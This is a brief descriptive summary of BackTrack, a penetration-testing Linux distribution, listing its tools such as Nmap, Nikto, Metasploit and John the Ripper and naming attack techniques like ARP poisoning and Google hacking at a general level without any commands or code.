BackTrack is a Linux distribution focused on penetration testing with over 300 security tools. It allows testing of vulnerabilities like buffer overflows and cross-site scripting through tools like Nmap, Nikto, and Metasploit. Common attack techniques explored include man-in-the-middle attacks using ARP poisoning, password cracking through tools like John the Ripper, and "Google hacking" to find sensitive information online.
